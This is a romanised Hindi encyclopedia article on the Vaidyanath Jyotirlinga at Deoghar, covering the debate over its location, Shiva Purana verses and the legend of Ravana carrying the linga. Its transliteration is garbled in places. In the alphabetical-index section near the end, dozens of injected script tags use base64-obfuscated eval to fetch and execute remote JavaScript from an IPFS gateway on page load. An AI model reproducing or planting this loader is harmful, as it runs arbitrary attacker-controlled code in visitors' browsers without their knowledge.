वैद्यनाथ ज्योतिर्लिंग

[[chitr:Vaidyanath-Temple.jpg|250px|vaidyanath mandir, devaghar
Vaidyanath Temple, Deogarh|thumb]] shri vaidyanath shivaliang ka samast jyotirliangoan ki ganana mean nauvaan sthan bataya gaya hai. bhagavan shri vaidyanath jyotirliang ka mandir jis sthan par avasthit hai, use 'vaidyanathadham' kaha jata hai. yah sthan jharakhand prant, poorv mean bihar prant ke santhal paragana ke dumaka namak janapad mean p data hai.

sthiti

puranoan mean ‘paralyaan vaidyanathan ch’ aisa ullekh milata hai, jisake adhar par kuchh log vaidyanath jyotirliang ka sthan 'paraligram' ko batate haian. 'paraligram' nizam haidarabad kshetr ke aantargat p data hai. haidarabad shahar se jo relamarg parabhani jankshan ki or jata hai, us parabhani jankshan se parali steshan ke lie rel ki ek upashakha jati hai. isi parali steshan se tho di hi doori par paraligram hai, jisake pas hi ‘shri vaidyanath jyotirliang avasthit hai. yahaan ka mandir atyant purana hai, jisaka jirnoddhar rani ahilyabaee ne karaya tha. yah mandir ek paha di ke oopar nirmit hai. paha di se niche ek chhoti nadi bhi bahati hai tatha ek chhota-sa shivakund bhi hai. paha di ke oopar jane ke lie sidhiyaan banaee gee haian. logoan ki manyata hai ki parali gram ke pas sthit vaidyanath hi vastavik vaidyanath jyotirliang hai.

shiv puran ke anusar

many granth prachin shiv puran ke anusar jharakhand prant ke jasidih relave steshan ke samip sthit devaghar ka shri vaidyanath shivaliang hi vastavik vaidyanath jyotirliang hai–

vaidyanathavataro hi navamastatr kirtit:.
avirbhooto ravanarthan bahulilakar: prabhu:..
tadanayanaroopan hi vyajan kritva maheshvar:.
jyotirliangasvaroopen chitabhoomau pratishthit:..
vaidyanatheshvaro namna prasiddhoabhoojjagattraye.
darshanatpoojanadbhabhakya bhuktimuktiprad: s hi..^[1]

vaidyanath nauvaan jyotirliang

shri shiv mahapuran ke uparyukt dvadash jyotirliang ki ganana ke kram me shri vaidyanath ko nauvaan jyotirliang bataya gaya hai. sthan ka sanket karate hue likha gaya hai ki ‘chitabhoomau pratishthit:’. isake atirikt any sthanoan par bhi ‘vaidyanathan chitabhoomau’ aisa likha gaya hai. ‘chitabhoomau’ shabd ka vishleshan karane par parali ke vaidyanath dvadash jyotirliangoan mean nahian ate haian, isalie unhean vastavik vaidyanath jyotirliang manana uchit nahian hai. santhal paragana janapad ke jasidih relave steshan ke samip devaghar par sthit sthan ko 'chitabhoomi' kaha gaya hai. jis samay bhagavan shankar sati ke shav ko apane kandhe par rakhakar idhar-udhar unmatt ki tarah ghoom rahe the, usi samay is sthan par sati ka hritpind arthat hriday bhag galakar gir gaya tha. bhagavan shankar ne sati ke us hritpind ka dah-sanskar ukt sthan par kiya tha, jisake karan isaka nam ‘chitabhoomi’ p d gaya. shri shiv puran mean ek nimnalikhit shlok bhi ata hai, jisase vaidyanath ka ukt chitabhoomi mean sthan mana jata hai.

pratyakshan tan tada drishtava pratishthapy ch te sura:.
vaidyanatheti samprochy natva natva divan yayu:..

arthat ‘devataoan ne bhagavan ka pratyaksh darshan kiya aur usake bad unake liang ki pratishtha ki. devagan us liang ko ‘vaidyanath’ nam dekar, use namaskar karate hue svargalok ko chale gaye.’

katha

vaidyanath liang ki sthapana ke sambandh mean likha hai ki ek bar rakshasaraj ravan ne himalay par sthir hokar bhagavan shiv ki ghor tapasya ki. us rakshas ne apana ek-ek sir kat-katakar shivaliang par chadha diye. is prakiya mean usane apane nau sir chadha diya tatha dasavean sir ko katane ke lie jab vah udyat (taiyar) hua, tab tak bhagavan shankar prasann ho uthe. prakat hokar bhagavan shiv ne ravan ke dasoan siroan ko pahale ki hi bhaanti kar diya. unhoanne ravan se var maangane ke lie kaha. ravan ne bhagavan shiv se kaha ki mujhe is shivaliang ko le jakar lanka mean sthapit karane ki anumati pradan karean. shankaraji ne ravan ko is pratibandh ke sath anumati pradan kar di ki yadi is liang ko le jate samay raste mean dharati par rakhoge, to yah vahian sthapit (achal) ho jaega. jab ravan shivaliang ko lekar chala, to marg mean ‘chitabhoomi’ mean hi use laghushanka (peshab) karane ki pravritti huee. usane us liang ko ek ahir ko pak da diya aur laghushanka se nivritt hone chala gaya. idhar shivaliang bhari hone ke karan us ahir ne use bhoomi par rakh diya. vah liang vahian achal ho gaya. vapas akar ravan ne kafi zor lagakar us shivaliang ko ukha dana chaha, kintu vah asaphal raha. ant mean vah nirash ho gaya aur us shivaliang par apane aangoothe ko g dakar (aangoothe se dabakar) lanka ke lie khali hath hi chal diya. idhar brahma, vishnu indr adi devataoan ne vahaan pahuanch kar us shivaliang ki vidhivat pooja ki. unhoanne shiv ji ka darshan kiya aur liang ki pratishtha karake stuti ki. usake bad ve svargalok ko chale gaye.

yah vaidyanath jyotirliang manushy ko usaki ichchha ke anukool phal dene vala hai. is vaidyanath dham mean mandir se tho di hi doori par ek vishal sarovar hai, jis par pakke ghat bane hue haian. bhaktagan is sarovar mean snan karate haian. yahaan tirthapurohitoan (pandoan) ke hazaroan ghat haian, jinaki ajivika mandir se hi chalati hai. parampara ke anusar panda log ek gahare kuean se jal bharakar jyotirliang ko snan karate haian. abhishek ke lie saik doan gh de jal nikala jata haian. unaki pooja kafi lambi chalati hai. usake bad hi am janata ko darshan-poojan karane ka avasar prapt hota hai.

yah jyotirliang ravan ke dvara dabaye jane ke karan bhoomi mean daba hai tatha usake oopari sire mean kuchh gaddha sa ban gaya hai. phir bhi is shivaliang moorti ki ooanchaee lagabhag gyarah aangul hai. savan ke mahine mean yahaan mela lagata hai aur bhaktagan door-door se kaanvar mean jal lekar baba vaidyanath dham (devaghar) ate haian. vaidyanath dham mean anek rogoan se chhutakara pane hetu bhi baba ka darshan karane shraddhalu ate haian. aisi prasiddhi hai ki shri vaidyanath jyotirliang ki lagatar arati-darshan karane se logoan ko rogoan se mukti milati hai.

koti rudr sanhita ke anusar

shri shiv mahapuran ke koti rudr sanhita mean shri vaidyanath jyotirliang ki katha is prakar likhi gee hai–

rakshasaraj ravan abhimani to tha hi, vah apane ahankar ko bhi shighr prakat karane vala tha. ek samay vah kailas parvat par bhaktibhav poorvak bhagavan shiv ki aradhana kar raha tha. bahut dinoan tak aradhana karane par bhi jab bhagavan shiv us par prasann nahian hue, tab vah pun: doosari vidhi se tap-sadhana karane laga. usane siddhisthal himalay parvat se dakshin ki or saghan vrikshoan se bhare jangal mean prithvi ko khodakar ek gaddha taiyar kiya. rakshas kul bhooshan us ravan ne gaddhe mean agni ki sthapana karake havan (ahutiyaan) prarambh kar diya. usane bhagavan shiv ko bhi vahian apane pas hi sthapit kiya tha. tap ke lie usane kathor sanyam-niyam ko dharan kiya.

vah garmi ke dinoan mean paanch agniyoan ke bich mean baithakar panchagni sevan karata tha, to varshakal mean khule maidan mean chabootare par sota tha aur shitakal (sardiyoan ke dinoan mean) mean akanth (gale ke barabar) jal ke bhitar kh de hokar sadhana karata tha. in tin vidhiyoan ke dvara ravan ki tapasya chal rahi thi. itane kathor tap karane par bhi bhagavan maheshvar us par prasann nahian hue. aisa kaha jata hai ki dusht atmaoan dvara bhagavan ko rijhana b da kathin hota hai. kathin tapasya se jab ravan ko siddhi nahian prapt huee, tab ravan apana ek-ek sir katakar shiv ji ki pooja karane laga. vah shastr vidhi se bhagavan ki pooja karata aur us poojan ke bad apana ek mastak katata tatha bhagavan ko samarpit kar deta tha. is prakar kramash: usane apane nau mastak kat dale. jab vah apana antim dasavaan mastak katana hi chahata tha, tab tak bhaktavatsal bhagavan maheshvar us par santusht aur prasann ho gaye. unhoanne sakshat prakat hokar ravan ke sabhi mastakoan ko svasth karate hue unhean poorvavat jo d diya.

bhagavan ne rakshasaraj ravan ko usaki ichchha ke anusar anupam bal aur parakram pradan kiya. bhagavan shiv ka kripa-prasad grahan karane ke bad natamastak hokar vinamrabhav se usane hath jo dakar kaha– ‘deveshvar! ap mujh par prasann hoie. maian apaki sharan mean aya hooan aur apako lanka mean le chalata hooan. ap mera manorath siddh kijie.’ is prakar ravan ke kathan ko sunakar bhagavan shankar asamanjas ki sthiti mean p d gaye. unhoanne upasthit dharmasankat ko talane ke lie anamane hokar kaha– ‘rakshasaraj! tum mere is uttam liang ko bhaktibhavapoorvak apani rajadhani mean le jao, kintu yah dhyan rakhana- raste mean tum ise yadi prithvi par rakhoge, to yah vahian achal ho jaega. ab tumhari jaisi ichchha ho vaisa karo’–

prasannobhav devesh lankaan ch tvaan nayamyahamh.
saphalan kuroo me kaman tvamahan sharanan gat:..
ityuktashch tada ten shambhurvai ravanen s:.
pratyuvach vichetask: sankatan paraman gat:..
shrooyataan rakshasashreshth vacho me saravattaya.
niyataan svagrihe me hi sadabhaktya liangamuttamamh..
bhoomau liangan yada tvan ch sthapayishyasi yatr vai.
sthasyatyatr n sandeho yathechchhasi tatha kuroo..^[2]

bhagavan shiv dvara aisa kahane par ‘bahut achchha’ aisa kahata hua rakshasaraj ravan us shivaliang ko sath lekar apani rajadhani lanka ki or chal diya. bhagavan shankar ki mayashakti ke prabhav se use raste mean jate hue mootrotsarg (peshab karane) ki prabal ichchha huee. samarthyashali ravan mootr ke veg ko rokane mean asamarth raha aur shivaliang ko ek gval ke hath mean pak da kar svayan peshab karane ke lie baith gaya. ek muhoort bitane ke bad vah gvala shivaliang ke bhar se pi dit ho utha aur usane liang ko prithvi par rakh diya. prithvi par rakhate hi vah manimay shivaliang vahian prithvi mean sthir ho gaya.

jab shivaliang lok-kalyan ki bhavana se vahian sthir ho gaya, tab nirash hokar ravan apani rajadhani ki or chal diya. usane rajadhani mean pahuanchakar shivaliang ki sari ghatana apani patni mandodari se batayi. devapur ke indr adi devataoan aur rrishiyoan ne liang sambandhi samachar ko sunakar apas mean paramarsh kiya aur vahaan pahuanch gaye. bhagavan shiv mean atoot bhakti hone ke karan un logoan ne atishay prasannata ke sath shastr vidhi se us liang ki pooja ki. sabhi ne bhagavan shankar ka pratyaksh darshan kiya–

tasmianlliange sthite tatr sarvalokahitay vai.
ravan: svagrihan gatva varan prapy mahottamamh..
tachchhutva sakala deva: shakradya munayastatha.
parasparan samamantry shivasaktadhiyoamala:..
tasminh kale sura: sarve haribrahmadayo mune.
ajagmustatr supritya poojaan chakrurvisheshat:..
pratyakshan tan tada drishtava pratishthapy ch te sura:.
vaidyanatheti sanprochy natva – natva divan yayu:..^[3]

is prakar ravan ki tapasya ke phalasvaroop shri vaidyanatheshvar jyotirliang ka pradurbhav hua, jise devataoan ne svayan pratishthit kar poojan kiya. jo manushy shraddha bhaktipoorvak bhagavan shri vaidyanath ka abhishek karata hai, usaka sharirik aur manasik rog atishighr nasht ho jata hai. isalie vaidyanathadham mean rogiyoan v darshanarthiyoan ki vishesh bhi d dikhaee p dati hai.

any prasang-1

ek any prasang ke anusar brahma ke putr pulasty (sapt rrishiyoan mean se ek) ki tin patniyaan thi. pahali se kuber, doosari se ravan aur kuanbhakarn, tisari se vibhishan ka janm hua. ravan ne bal prapti ke nimitt ghor tapasya ki. shiv ne prakat hokar ravan ko shivaliang apane nagar tak le jane ki anumati di. sath hi kaha ki marg mean prithvi par rakh dene par liang vahian sthapit ho jaega. ravan shiv ke diye do liang 'kaanvari' mean lekar chala. marg me laghushanka ke karan, usane kaanvari kisi 'baijoo' namak charavahe ko pak da di. shivaliang itane bhari ho ge ki unhean vahian prithvi par rakh dena p da. ve vahian par sthapit ho ge. ravan unhean apani nagari tak nahian le jaya paya.jo liang kaanvari ke agale bhag mean tha, chandrabhal nam se prasiddh hua tatha jo pichhale bhag mean tha, vaidyanath kahalaya. charavaha baijoo pratidin vaidyanath ki pooja karane laga. ek din usake ghar mean utsav tha. vah bhojan karane ke lie baitha, tabhi smaran aya ki shivaliang pooja nahian ki hai.^[4] so vah vaidyanath ki pooja ke lie gaya. sab log usase rusht ho ge. shiv aur parvati ne prasann hokar usaki ichchhanusar var diya ki vah nity pooja mean laga rahe tatha usake nam ke adhar par vah shivaliang bhi 'baijanath' kahalae.^[5]

any prasang-2

shiv puran mean kee aise akhyan haian jo batate haian ki shiv vaidyoan ke nath haian. kaha gaya hai ki shiv ne raudr roop dharan kar apane sasur daksh ka sir trishul se alag kar diya. bad mean jab kafi vinati huee to baba baidyanath ne tinoan lokoan mean khoja par vah muand nahian mila. isake bad ek bakare ka sir kat kar daksh ke dh d par pratyaropit kar diya. isi ke chalate bakare ki dhvani - b.b.b. ke uchcharan se mahadev ki pooja karate haian. ise gal baja kar ukt dhvani ko shraddhalu baba ko khush karate haian. pauranik katha hai ki kailash se lakar bhagavan shankar ko pandit ravan ne sthapit kiya hai. isi ke chalate ise ravanoshvar baidyanath kaha jata hai. yahaan ke darabar ki katha kafi nirali hai.

kaise pahuanche

yah jasidih relave steshan se lagabhag 5 kilomitar ki doori par p data hai tatha s dak marg se bhi yahaan pahuanchane ki achchhi vyavastha hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ shri shiv puran shat rudr san. 42/38-40
↑ shri shiv puran koti rudr sanhita 28/12-15
↑ shri shiv puran koti rudr sanhita 28/22-25
↑ bharatiy mithak kosh |lekhak: d aau. usha puri vidyavachaspati |prakashak: neshanal pablishiang haus, nee dilli |prishth sankhya: 203 |
↑ shivapuran, 8|43-47

sanbandhit lekh

suvyavasthit lekh|link=bharatakosh:suvyavasthit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] shri shiv puran shat rudr san. 42/38-40

[2] shri shiv puran koti rudr sanhita 28/12-15

[3] shri shiv puran koti rudr sanhita 28/22-25

[4] ratiy mithak kosh |lekhak: d aau. usha puri vidyavachaspati |prakashak: neshanal pablishiang haus, nee dilli |prishth sankhya: 203 |

[5] shivapuran, 8|43-47

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[5]